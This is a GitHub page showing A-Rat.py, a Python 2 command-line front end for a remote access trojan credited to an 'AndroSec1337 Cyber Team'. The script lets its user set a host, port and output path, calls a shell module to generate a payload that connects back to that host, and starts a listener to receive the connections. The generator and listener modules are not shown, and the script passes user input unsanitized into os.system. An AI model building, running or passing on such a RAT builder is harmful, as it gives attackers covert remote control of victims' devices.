-
Notifications
You must be signed in to change notification settings - Fork 113
/
A-Rat.py
104 lines (86 loc) · 3.08 KB
/
A-Rat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys, subprocess
from time import sleep
os.system("clear")
reload(sys)
sys.setdefaultencoding("utf-8")
host = " "
port = " "
output = " "
def logo():
print("""
\t _____ ____ _____ _______
\t /$$$$$\ |$$$$\ /$$$$$\ $$$$$$$
\t |$ $| ____ |$ $| |$ $| $|
\t |$$$$$| $$$$ |$$$$/ |$$$$$| $|
\t |$ $| |$ $\ |$ $| $|
\t |$ $| |$ $\ |$ $| $|
\t [*] Versions : 1.0.0
\t [*] Coded By ./Xi4u7
\t [*] AndroSec1337 Cyber Team
""")
def help():
print("""
Commands :
set HOST : Set Your Host (e.g set HOST 127.0.0.1)
set PORT : Set Your Port (e.g set PORT 1337)
set OUTPUT : Set Your Output Name And Path (e.g set OUTPUT /home/payload)
show values : Show Host, Port And Output Value
start listener : Start Your Conection Server
Please Report This bug To My FB
FB : https://m.facebook.com/sefina.dewi
FP : https://m.facebook.com/androsec1337cyberteam\n""")
def main():
global host, port, output
while True:
cmd = raw_input("[*] A-Rat@AndroSec1337:~# ").lower()
if cmd == "help":
help()
elif cmd == 'banner':
os.system("clear")
logo()
main()
elif "clear" in cmd:
os.system("clear")
elif "set host" in cmd:
host = cmd.split()[-1]
elif "set port" in cmd:
port = int(cmd.split()[-1])
elif "set output" in cmd:
output = cmd.split()[-1]
elif cmd == "show values":
print "\n[+] HOST : %s\n[+] PORT : %s\n[+] OUTPUT : %s\n"%(host, port,output)
elif cmd == "generate payload" or cmd == "generate":
if host != " " and port != " " and output != " ":
print("[+] Generating Payload . . .")
sleep(1)
print("[*] Using Configuration . . .\n |_ HOST : "+host+"\n |_ PORT : "+str(port)+"\n |_ OUTPUT : "+output)
sleep(3)
os.system("sh modules/gen.sh "+host+" "+str(port)+" "+output)
print("[+] Generating Success . . .")
sleep(1)
main()
else:
print "\n[!] HOST : %s\n[!] PORT : %s\n[!] OUTPUT : %s\n"%(host,port,output)
elif cmd == "start" or cmd == "run" or cmd == "start listener":
if host != " " and port != " ":
if os.name == "nt":
subprocess.Popen([sys.executable, 'modules/listener.py', host, str(port)], creationflags=subprocess.CREATE_NEW_CONSOLE)
else:
os.system(sys.executable + " modules/listener.py %s %s"%(host, str(port)))
else:
print "\n[!] Host : %s\n[!] Port : %s\n"%(host,port)
else:
print("[!] Check Your Command . . .")
main()
def contol():
try:
logo()
main()
except KeyboardInterrupt:
print("\n[!] CTRL+C Detect Exiting Tools . . .")
sleep(2)
sys.exit()
if __name__ == "__main__":
contol()